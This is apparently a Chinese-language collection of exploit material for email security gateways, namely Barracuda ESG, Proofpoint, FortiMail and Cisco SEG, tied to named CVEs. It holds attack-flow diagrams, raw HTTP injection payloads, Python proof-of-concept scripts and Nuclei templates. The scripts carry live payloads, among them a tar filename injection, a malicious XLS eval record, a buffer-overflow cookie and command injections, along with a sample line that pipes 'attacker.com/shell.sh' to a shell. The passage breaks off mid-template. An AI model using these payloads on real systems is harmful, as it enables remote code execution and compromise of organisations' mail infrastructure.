攻击者发送恶意邮件
    │
    ▼  邮件到达 Barracuda ESG
    │
    ▼  ESG 检测到 tar 附件，自动解压
    │
    ▼  ESG 使用 Perl 脚本处理文件名
    │  文件名包含: `id` 或 `curl attacker.com/shell.sh|sh`
    │
    ▼  Perl qx{} 操作符执行文件名中的命令
    │
    ▼  以 root 权限执行任意命令

GET /cgi-mod/index.cgi HTTP/1.1
Host: target-esg:8000
Cookie: password_hash=<valid_hash>
Accept: text/html

POST /cgi-mod/index.cgi HTTP/1.1
Host: target-esg:8000
Content-Type: application/x-www-form-urlencoded

exe=bencuda&input=&netmask=0&password=<hash>&primary_email=&primary_password=<hash>&primary_pop3_server=&primary_smtp_server=&primary_username=&user=admin&passwd_hash=<hash>&login_type=1&locale=en_US&auth_type=1&section=backup

#!/usr/bin/env python3
import argparse
import tarfile
import io
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders

def create_malicious_tar(command="id"):
    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
        payload_name = f"`{command}`"
        data = b"clean file content"
        info = tarfile.TarInfo(name=payload_name)
        info.size = len(data)
        tar.addfile(info, io.BytesIO(data))
    tar_buffer.seek(0)
    return tar_buffer.read()

def send_test_email(target_host, target_port, sender, recipient, command):
    tar_data = create_malicious_tar(command)
    msg = MIMEMultipart()
    msg['From'] = sender
    msg['To'] = recipient
    msg['Subject'] = "CVE-2023-2868 Detection Test"
    msg.attach(MIMEText("Security validation email", 'plain'))
    part = MIMEBase('application', 'octet-stream')
    part.set_payload(tar_data)
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment', filename='test.tar')
    msg.attach(part)
    with smtplib.SMTP(target_host, target_port) as server:
        server.sendmail(sender, recipient, msg.as_string())
    print(f"[*] Test email sent to {target_host}:{target_port}")

def check_version(target_host, target_port=8000):
    import urllib.request
    import urllib.error
    try:
        url = f"http://{target_host}:{target_port}/cgi-mod/index.cgi"
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req, timeout=10) as resp:
            body = resp.read().decode('utf-8', errors='ignore')
            if 'Barracuda' in body:
                print(f"[+] {target_host} appears to be Barracuda ESG")
                return True
            print(f"[-] {target_host} does not appear to be Barracuda ESG")
            return False
    except Exception as e:
        print(f"[!] Error checking {target_host}: {e}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2023-2868 Barracuda ESG tar injection detection tool"
    )
    subparsers = parser.add_subparsers(dest='action', required=True)

    check_parser = subparsers.add_parser('check', help='Check if target is Barracuda ESG')
    check_parser.add_argument('--target', required=True, help='Target host')
    check_parser.add_argument('--port', type=int, default=8000, help='Target port')

    mail_parser = subparsers.add_parser('send', help='Send test email')
    mail_parser.add_argument('--smtp-host', required=True, help='Barracuda ESG SMTP host')
    mail_parser.add_argument('--smtp-port', type=int, default=25, help='SMTP port')
    mail_parser.add_argument('--sender', required=True, help='Sender email')
    mail_parser.add_argument('--recipient', required=True, help='Recipient email')
    mail_parser.add_argument('--command', default='id', help='Command for detection')

    args = parser.parse_args()
    if args.action == 'check':
        check_version(args.target, args.port)
    elif args.action == 'send':
        send_test_email(args.smtp_host, args.smtp_port, args.sender, args.recipient, args.command)

id: cve-2023-2868-barracuda-esg-tar-injection

info:
  name: Barracuda ESG CVE-2023-2868 Tar Attachment Command Injection
  author: security-researcher
  severity: critical
  description: |
    Barracuda ESG contains a command injection vulnerability in the
    tar attachment processing. Unauthenticated attackers can execute
    arbitrary commands via crafted tar file names passed to Perl qx{}.
  reference:
    - https://www.barracudanetworks.com/support/security-advisories/email-security-gateway-cve-2023-2868
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-78
    cpe: cpe:2.3:h:barracuda:email_security_gateway
  tags: cve,cve2023,barracuda,rce,injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-mod/index.cgi"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Barracuda"
          - "email security gateway"
        condition: and
        part: body

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - "Barracuda.*?Version\\s+([\\d.]+)"

攻击者发送含恶意 .xls 附件的邮件
    │
    ▼  Barracuda ESG 接收邮件
    │
    ▼  Amavis 组件调用 Spreadsheet::ParseExcel 处理 .xls 附件
    │
    ▼  恶意 Excel 中的记录触发 Perl eval 执行
    │
    ▼  以 ESG 进程权限执行任意代码

POST /cgi-mod/index.cgi HTTP/1.1
Host: target-esg:8000
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="malicious.xls"
Content-Type: application/vnd.ms-excel

[恶意 Excel 二进制数据]
------boundary--

#!/usr/bin/env python3
import argparse
import struct
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders

def create_malicious_xls(command="id"):
    header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1'
    sector = b'\x00' * 512
    magic = struct.pack('<H', 0x0809)
    record_type = struct.pack('<H', 0x005C)
    record_data = f'{{ system("{command}") }}'.encode('ascii')
    record_len = struct.pack('<H', len(record_data))
    xls_data = header + sector + magic + record_type + record_len + record_data
    return xls_data

def send_test_email(smtp_host, smtp_port, sender, recipient):
    xls_data = create_malicious_xls()
    msg = MIMEMultipart()
    msg['From'] = sender
    msg['To'] = recipient
    msg['Subject'] = "CVE-2023-7102 Detection Payload"
    msg.attach(MIMEText("Security validation email", 'plain'))
    part = MIMEBase('application', 'vnd.ms-excel')
    part.set_payload(xls_data)
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment', filename='report.xls')
    msg.attach(part)
    with smtplib.SMTP(smtp_host, smtp_port) as server:
        server.sendmail(sender, recipient, msg.as_string())
    print(f"[*] Test email with .xls payload sent to {smtp_host}:{smtp_port}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2023-7102 Barracuda ESG Spreadsheet::ParseExcel detection"
    )
    parser.add_argument('--smtp-host', required=True, help='Barracuda ESG SMTP host')
    parser.add_argument('--smtp-port', type=int, default=25, help='SMTP port')
    parser.add_argument('--sender', required=True, help='Sender email')
    parser.add_argument('--recipient', required=True, help='Recipient email')
    args = parser.parse_args()
    send_test_email(args.smtp_host, args.smtp_port, args.sender, args.recipient)

id: cve-2023-7102-barracuda-esg-excel-ace

info:
  name: Barracuda ESG CVE-2023-7102 Spreadsheet::ParseExcel ACE
  author: security-researcher
  severity: critical
  description: |
    Barracuda ESG uses Amavis which calls Spreadsheet::ParseExcel
    Perl library vulnerable to arbitrary code execution via crafted
    Excel files.
  reference:
    - https://www.barracudanetworks.com/support/security-advisories
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7102
  classification:
    cvss-score: 9.8
    cwe-id: CWE-94
  tags: cve,cve2023,barracuda,rce,xls

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-mod/index.cgi"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Barracuda"
        part: body

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(?i)barracuda.*?(?:version|ver)\\s+([\\d.]+)"

攻击者构造恶意 HTTP 请求
    │
    ▼  请求到达 PPS webservices 端点
    │
    ▼  用户输入被传递给 Perl eval{}
    │
    ▼  eval{} 执行攻击者构造的 Perl 代码
    │
    ▼  系统命令执行（PPS 进程权限）

GET /ws/index.php?command=test&input=|id HTTP/1.1
Host: target-proofpoint:10080
Accept: text/html

POST /ws/index.php HTTP/1.1
Host: target-proofpoint:10080
Content-Type: application/x-www-form-urlencoded

command=test&input=;id

#!/usr/bin/env python3
import argparse
import urllib.request
import urllib.parse
import urllib.error
import ssl
import re

def check_vulnerability(target_host, target_port, use_https=False):
    scheme = "https" if use_https else "http"
    base_url = f"{scheme}://{target_host}:{target_port}"

    payload = 'system("id")'
    endpoints = [
        f"/ws/index.php?command=test&input={urllib.parse.quote(payload)}",
        f"/ws/index.php?command=test&input=;{urllib.parse.quote(payload)}",
    ]

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    for endpoint in endpoints:
        url = base_url + endpoint
        try:
            req = urllib.request.Request(url)
            req.add_header('User-Agent', 'Mozilla/5.0')
            with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
                body = resp.read().decode('utf-8', errors='ignore')
                uid_match = re.search(r'uid=\d+\(\w+\)', body)
                if uid_match:
                    print(f"[+] CVE-2023-0090 VULNERABLE! {target_host}")
                    print(f"[+] Command output: {uid_match.group(0)}")
                    return True
        except urllib.error.HTTPError as e:
            if e.code == 500:
                print(f"[?] {target_host} returned 500, may be vulnerable")
        except Exception as e:
            print(f"[!] Error: {e}")

    print(f"[-] {target_host} does not appear vulnerable to CVE-2023-0090")
    return False

def detect_version(target_host, target_port, use_https=False):
    scheme = "https" if use_https else "http"
    url = f"{scheme}://{target_host}:{target_port}/"
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            headers = dict(resp.headers)
            server = headers.get('Server', '')
            if 'Proofpoint' in server or 'PPS' in server:
                print(f"[+] {target_host} is Proofpoint PPS: {server}")
                return True
            print(f"[-] {target_host} Server header: {server}")
            return False
    except Exception as e:
        print(f"[!] Error detecting version: {e}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2023-0090 Proofpoint PPS eval injection checker"
    )
    parser.add_argument('--target', required=True, help='Target host')
    parser.add_argument('--port', type=int, default=10080, help='Target port')
    parser.add_argument('--https', action='store_true', help='Use HTTPS')
    args = parser.parse_args()

    print(f"[*] Checking {args.target}:{args.port}...")
    detect_version(args.target, args.port, args.https)
    check_vulnerability(args.target, args.port, args.https)

id: cve-2023-0090-proofpoint-pps-eval-injection

info:
  name: Proofpoint PPS CVE-2023-0090 WebServices eval Injection
  author: security-researcher
  severity: critical
  description: |
    Proofpoint Protection Server webservices component contains
    an eval injection vulnerability allowing unauthenticated
    remote code execution via Perl eval.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0090
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-95
  tags: cve,cve2023,proofpoint,rce,eval,injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/ws/index.php?command=test&input=test"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Proofpoint"
          - "PPS"
        condition: or

      - type: status
        status:
          - 200
          - 500
        condition: or

    extractors:
      - type: regex
        regex:
          - "(?i)proofpoint.*?(?:version|ver)\\s+([\\d.]+)"

POST /webutils/index.php HTTP/1.1
Host: target-proofpoint:10080
Content-Type: application/x-www-form-urlencoded
Cookie: PPSSESSION=<valid_session_cookie>

command=test&input=system("id")

#!/usr/bin/env python3
import argparse
import urllib.request
import urllib.parse
import urllib.error
import ssl
import re

def exploit_eval_injection(target_host, target_port, session_cookie, use_https=False):
    scheme = "https" if use_https else "http"
    url = f"{scheme}://{target_host}:{target_port}/webutils/index.php"

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    payload = 'system("id")'
    data = urllib.parse.urlencode({
        'command': 'test',
        'input': payload
    }).encode('utf-8')

    try:
        req = urllib.request.Request(url, data=data, method='POST')
        req.add_header('Cookie', f'PPSSESSION={session_cookie}')
        req.add_header('Content-Type', 'application/x-www-form-urlencoded')
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            body = resp.read().decode('utf-8', errors='ignore')
            uid_match = re.search(r'uid=\d+\(\w+\)', body)
            if uid_match:
                print(f"[+] CVE-2023-0089 VULNERABLE!")
                print(f"[+] Output: {uid_match.group(0)}")
                return True
            print(f"[-] Response did not contain expected output")
            print(f"[-] Response body (first 500 chars): {body[:500]}")
            return False
    except Exception as e:
        print(f"[!] Error: {e}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2023-0089 Proofpoint PPS webutils eval injection"
    )
    parser.add_argument('--target', required=True, help='Target host')
    parser.add_argument('--port', type=int, default=10080, help='Target port')
    parser.add_argument('--cookie', required=True, help='PPSSESSION cookie value')
    parser.add_argument('--https', action='store_true', help='Use HTTPS')
    args = parser.parse_args()

    print(f"[*] Testing CVE-2023-0089 on {args.target}:{args.port}")
    exploit_eval_injection(args.target, args.port, args.cookie, args.https)

id: cve-2023-0089-proofpoint-webutils-eval

info:
  name: Proofpoint PPS CVE-2023-0089 Webutils eval Injection
  author: security-researcher
  severity: high
  description: |
    Proofpoint PPS webutils component contains an eval injection
    vulnerability requiring an authenticated session.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0089
  classification:
    cvss-score: 8.8
    cwe-id: CWE-95
  tags: cve,cve2023,proofpoint,rce,auth

http:
  - method: GET
    path:
      - "{{BaseURL}}/webutils/index.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Proofpoint"

      - type: word
        words:
          - "login"
          - "session"
        condition: or

POST /api/v1/encrypted-users HTTP/1.1
Host: target-proofpoint:443
Content-Type: application/json
Authorization: Bearer <valid_token>

{
  "email": "fake-admin@target-organization.com",
  "name": "IT Administrator",
  "encryption_key": "attacker-controlled-key"
}

#!/usr/bin/env python3
import argparse
import json
import urllib.request
import urllib.error
import ssl

def check_encrypted_endpoint(target_host, target_port, use_https=True):
    scheme = "https" if use_https else "http"
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    endpoints = [
        "/api/v1/encrypted-users",
        "/api/v2/encryption/enrollment",
        "/encryption/register",
    ]

    for endpoint in endpoints:
        url = f"{scheme}://{target_host}:{target_port}{endpoint}"
        try:
            req = urllib.request.Request(url)
            req.add_header('Content-Type', 'application/json')
            req.add_header('User-Agent', 'Mozilla/5.0')
            with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
                status = resp.status
                body = resp.read().decode('utf-8', errors='ignore')
                if status != 404:
                    print(f"[+] Endpoint {endpoint} exists (HTTP {status})")
                    if 'email' in body.lower() or 'encrypt' in body.lower():
                        print(f"[+] Endpoint may be vulnerable to CVE-2024-3676")
                        return True
        except urllib.error.HTTPError as e:
            if e.code != 404:
                print(f"[?] Endpoint {endpoint} returned HTTP {e.code}")
        except Exception as e:
            print(f"[!] Error: {e}")

    print("[-] No vulnerable endpoints found")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2024-3676 Proofpoint EP encrypted endpoint checker"
    )
    parser.add_argument('--target', required=True, help='Target host')
    parser.add_argument('--port', type=int, default=443, help='Target port')
    parser.add_argument('--http', action='store_true', help='Use HTTP instead of HTTPS')
    args = parser.parse_args()

    print(f"[*] Checking {args.target}:{args.port} for CVE-2024-3676...")
    check_encrypted_endpoint(args.target, args.port, not args.http)

id: cve-2024-3676-proofpoint-ep-encryption-endpoint

info:
  name: Proofpoint EP CVE-2024-3676 Encrypted User Creation
  author: security-researcher
  severity: high
  description: |
    Proofpoint Email Protection encryption endpoint allows creation
    of additional encrypted user accounts due to insufficient input
    validation, enabling spoofed encrypted emails.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3676
  classification:
    cvss-score: 7.5
    cwe-id: CWE-20
  tags: cve,cve2024,proofpoint,spoofing

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/encrypted-users"
      - "{{BaseURL}}/encryption/register"

    stop-at-first-match: true

    matchers:
      - type: word
        words:
          - "encrypted"
          - "enroll"
          - "register"
        condition: or

      - type: status
        status:
          - 200
          - 400
          - 401
        condition: or

GET / HTTP/1.1
Host: target-fortimail:443
Cookie: SVPNCA=<超长畸形hash值>AAAA...[溢出payload]

#!/usr/bin/env python3
import argparse
import socket
import ssl
import struct

def generate_overflow_cookie(offset=416, return_addr=0x41414141):
    padding = b'A' * offset
    eip = struct.pack('<I', return_addr)
    return padding + eip

def send_overflow_request(target_host, target_port, cookie_value, use_ssl=True):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    if use_ssl:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        sock = ctx.wrap_socket(sock, server_hostname=target_host)
    try:
        sock.connect((target_host, target_port))
        request = (
            f"GET / HTTP/1.1\r\n"
            f"Host: {target_host}:{target_port}\r\n"
            f"Cookie: SVPNCA={cookie_value}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        )
        sock.send(request.encode())
        response = sock.recv(4096)
        return response
    except socket.timeout:
        print("[!] Connection timed out (expected for stack overflow)")
        return None
    except ConnectionResetError:
        print("[!] Connection reset (possible overflow triggered)")
        return None
    except Exception as e:
        print(f"[!] Error: {e}")
        return None
    finally:
        sock.close()

def check_fortimail(target_host, target_port):
    import urllib.request
    import urllib.error
    try:
        url = f"https://{target_host}:{target_port}/"
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            server = resp.headers.get('Server', '')
            if 'FortiMail' in server:
                print(f"[+] {target_host} is FortiMail: {server}")
                return True
    except Exception:
        pass
    print(f"[-] {target_host} does not appear to be FortiMail")
    return False

def detect(target_host, target_port=443):
    check_fortimail(target_host, target_port)
    overflow_cookie = generate_overflow_cookie(offset=416)
    print(f"[*] Sending detection request with overflow cookie ({len(overflow_cookie)} bytes)...")
    resp = send_overflow_request(target_host, target_port, overflow_cookie)
    if resp:
        print(f"[*] Response received ({len(resp)} bytes)")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2025-32756 FortiMail stack overflow detection tool"
    )
    parser.add_argument('--target', required=True, help='Target host')
    parser.add_argument('--port', type=int, default=443, help='Target port')
    parser.add_argument('--http', action='store_true', help='Use HTTP')
    args = parser.parse_args()
    print(f"[*] Checking {args.target}:{args.port} for CVE-2025-32756...")
    detect(args.target, args.port)

id: cve-2025-32756-fortimail-stack-overflow

info:
  name: FortiMail CVE-2025-32756 HTTP Hash Cookie Stack Overflow
  author: security-researcher
  severity: critical
  description: |
    FortiMail contains a stack-based buffer overflow in HTTP hash
    cookie handling, allowing unauthenticated remote code execution.
  reference:
    - https://github.com/kn0x0x/CVE-2025-32756-POC
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32756
    - https://www.fortiguard.com/psirt/FG-IR-25-233
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-121
  tags: cve,cve2025,fortinet,fortimail,rce,overflow

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    headers:
      Cookie: "SVPNCA=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "FortiMail"
          - "Fortinet"
        condition: or

      - type: status
        status:
          - 200
          - 500

    extractors:
      - type: regex
        regex:
          - "(?i)fortimail.*?v?([\\d.]+)"

POST /admin/logincheck HTTP/1.1
Host: target-fortimail:8443
Content-Type: application/x-www-form-urlencoded

username=admin&password=<any_password>

#!/usr/bin/env python3
import argparse
import urllib.request
import urllib.parse
import urllib.error
import ssl
import re

def check_auth_bypass(target_host, target_port):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"https://{target_host}:{target_port}"

    try:
        url = f"{base_url}/admin/logincheck"
        data = urllib.parse.urlencode({
            'username': 'admin',
            'password': 'randompass12345'
        }).encode('utf-8')
        req = urllib.request.Request(url, data=data, method='POST')
        req.add_header('Content-Type', 'application/x-www-form-urlencoded')
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            body = resp.read().decode('utf-8', errors='ignore')
            if 'success' in body.lower() or 'redirect' in body.lower():
                print(f"[+] CVE-2023-47539 POSSIBLY VULNERABLE!")
                print(f"[+] Login with admin account may succeed")
                return True
    except urllib.error.HTTPError as e:
        print(f"[?] HTTP {e.code} from logincheck endpoint")
    except Exception as e:
        print(f"[!] Error: {e}")

    try:
        url = f"{base_url}/"
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            body = resp.read().decode('utf-8', errors='ignore')
            if 'FortiMail' in body:
                print(f"[+] {target_host} is FortiMail")
    except Exception:
        pass

    print(f"[-] {target_host} does not appear vulnerable to CVE-2023-47539")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2023-47539 FortiMail RADIUS auth bypass checker"
    )
    parser.add_argument('--target', required=True, help='Target host')
    parser.add_argument('--port', type=int, default=8443, help='Target port')
    args = parser.parse_args()
    print(f"[*] Checking {args.target}:{args.port} for CVE-2023-47539...")
    check_auth_bypass(args.target, args.port)

id: cve-2023-47539-fortimail-radius-auth-bypass

info:
  name: FortiMail CVE-2023-47539 RADIUS Authentication Bypass
  author: security-researcher
  severity: critical
  description: |
    FortiMail 7.4.0 with RADIUS authentication and remote_wildcard
    enabled allows authentication bypass.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-23-233
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47539
  classification:
    cvss-score: 9.8
    cwe-id: CWE-287
  tags: cve,cve2023,fortinet,fortimail,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}:8443/"

    stop-at-first-match: true

    matchers:
      - type: word
        words:
          - "FortiMail"
          - "fortimail"
        condition: or

  - method: POST
    path:
      - "{{BaseURL}}/admin/logincheck"
      - "{{BaseURL}}:8443/admin/logincheck"

    stop-at-first-match: true

    body: "username=admin&password=testpass"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: word
        words:
          - "success"
          - "redirect"
          - "token"
        condition: or

POST /api/v2/system/diagnostic/dns HTTP/1.1
Host: target-fortimail:8443
Content-Type: application/json
Authorization: Bearer <admin_token>

{"server": "8.8.8.8", "hostname": "example.com;id", "type": "dnsquery"}

#!/usr/bin/env python3
import argparse
import json
import urllib.request
import urllib.error
import ssl
import re

def exploit_cmd_injection(target_host, target_port, admin_token, command="id"):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    url = f"https://{target_host}:{target_port}/api/v2/system/diagnostic/dns"
    payload = json.dumps({
        "server": "8.8.8.8",
        "hostname": f"example.com;{command}",
        "type": "dnsquery"
    }).encode('utf-8')

    try:
        req = urllib.request.Request(url, data=payload, method='POST')
        req.add_header('Content-Type', 'application/json')
        req.add_header('Authorization', f'Bearer {admin_token}')
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            body = resp.read().decode('utf-8', errors='ignore')
            uid_match = re.search(r'uid=\d+\(\w+\)', body)
            if uid_match:
                print(f"[+] CVE-2022-27488 VULNERABLE!")
                print(f"[+] Output: {uid_match.group(0)}")
                return True
            print(f"[*] Response: {body[:500]}")
    except urllib.error.HTTPError as e:
        print(f"[!] HTTP Error: {e.code}")
    except Exception as e:
        print(f"[!] Error: {e}")

    print("[-] Could not confirm vulnerability")
    return False

def check_fortimail(target_host, target_port):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        url = f"https://{target_host}:{target_port}/"
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            server = resp.headers.get('Server', '')
            body = resp.read().decode('utf-8', errors='ignore')
            if 'FortiMail' in server or 'FortiMail' in body:
                print(f"[+] {target_host} is FortiMail")
                return True
    except Exception:
        pass
    print(f"[-] {target_host} does not appear to be FortiMail")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2022-27488 FortiMail OS command injection checker"
    )
    parser.add_argument('--target', required=True, help='Target host')
    parser.add_argument('--port', type=int, default=8443, help='Target port')
    parser.add_argument('--token', required=True, help='Admin bearer token')
    parser.add_argument('--command', default='id', help='Command to test')
    args = parser.parse_args()

    print(f"[*] Checking {args.target}:{args.port} for CVE-2022-27488...")
    check_fortimail(args.target, args.port)
    exploit_cmd_injection(args.target, args.port, args.token, args.command)

id: cve-2022-27488-fortimail-cmd-injection

info:
  name: FortiMail CVE-2022-27488 OS Command Injection
  author: security-researcher
  severity: high
  description: |
    FortiMail diagnostic functions allow authenticated OS command
    injection via unsanitized parameters.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-22-109
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27488
  classification:
    cvss-score: 8.8
    cwe-id: CWE-78
  tags: cve,cve2022,fortinet,fortimail,rce,authenticated

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        words:
          - "FortiMail"

  - method: POST
    path:
      - "{{BaseURL}}/api/v2/system/diagnostic/dns"

    headers:
      Content-Type: application/json

    body: '{"server":"8.8.8.8","hostname":"test.example.com;echo CVE-2022-27488","type":"dnsquery"}'

    matchers:
      - type: word
        words:
          - "CVE-2022-27488"
        condition: or

      - type: word
        words:
          - "success"
          - "result"
        condition: or

UAT-9686 发送恶意 HTTP 请求到 Spam Quarantine 端点
    │
    ▼  Cisco SEG 解析请求，触发命令注入
    │
    ▼  以 root 权限执行部署脚本
    │
    ▼  部署 AquaShell 后门（加密通信 C2）
    │
    ▼  部署 Chisel 隧道工具（内网穿透）
    │
    ▼  持久化监控邮件流量 + 内网横向移动

POST /quarantine/api/search HTTP/1.1
Host: target-cisco-seg:8443
Content-Type: application/json

{"query": "test;id", "sort": "date", "order": "desc"}

#!/usr/bin/env python3
import argparse
import json
import urllib.request
import urllib.error
import ssl
import re

def check_cisco_seg(target_host, target_port):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        url = f"https://{target_host}:{target_port}/"
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            body = resp.read().decode('utf-8', errors='ignore')
            headers = dict(resp.headers)
            if 'AsyncOS' in body or 'Cisco' in body or 'IronPort' in body:
                print(f"[+] {target_host} appears to be Cisco SEG/ESA")
                return True
            server = headers.get('Server', '')
            if 'AsyncOS' in server or 'Cisco' in server:
                print(f"[+] {target_host} Server: {server}")
                return True
    except Exception:
        pass
    print(f"[-] {target_host} does not appear to be Cisco SEG")
    return False

def check_spam_quarantine(target_host, target_port):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    quarantine_paths = [
        "/quarantine/",
        "/quarantine/api/",
        "/quarantine/api/search",
        "/sms/quarantine",
    ]
    found = False
    for path in quarantine_paths:
        url = f"https://{target_host}:{target_port}{path}"
        try:
            req = urllib.request.Request(url)
            with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
                status = resp.status
                body = resp.read().decode('utf-8', errors='ignore')
                if status != 404:
                    print(f"[+] Quarantine endpoint found: {path} (HTTP {status})")
                    found = True
                    if 'quarantine' in body.lower():
                        print(f"[+] Spam Quarantine functionality appears active")
        except urllib.error.HTTPError as e:
            if e.code != 404:
                print(f"[?] {path} returned HTTP {e.code}")
        except Exception:
            pass
    return found

def check_vulnerability(target_host, target_port):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    payload = {"query": "test", "__test__": "echo CVE-2025-20393"}
    url = f"https://{target_host}:{target_port}/quarantine/api/search"
    try:
        data = json.dumps(payload).encode('utf-8')
        req = urllib.request.Request(url, data=data, method='POST')
        req.add_header('Content-Type', 'application/json')
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            body = resp.read().decode('utf-8', errors='ignore')
            if 'CVE-2025-20393' in body:
                print(f"[+] CVE-2025-20393 VULNERABLE!")
                return True
            if 'uid=' in body:
                print(f"[+] CVE-2025-20393 VULNERABLE! (command output detected)")
                return True
    except urllib.error.HTTPError as e:
        print(f"[?] HTTP {e.code} - may indicate processing of input")
    except Exception as e:
        print(f"[!] Error: {e}")
    print("[-] Could not confirm CVE-2025-20393 vulnerability")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2025-20393 Cisco SEG Spam Quarantine RCE checker"
    )
    parser.add_argument('--target', required=True, help='Target host')
    parser.add_argument('--port', type=int, default=8443, help='Target port')
    args = parser.parse_args()

    print(f"[*] Checking {args.target}:{args.port} for CVE-2025-20393...")
    if check_cisco_seg(args.target, args.port):
        check_spam_quarantine(args.target, args.port)
        check_vulnerability(args.target, args.port)

id: cve-2025-20393-cisco-seg-spam-quarantine-rce

info:
  name: Cisco SEG CVE-2025-20393 Spam Quarantine Root RCE
  author: security-researcher
  severity: critical
  description: |
    Cisco Secure Email Gateway Spam Quarantine feature contains
    an input validation vulnerability allowing unauthenticated
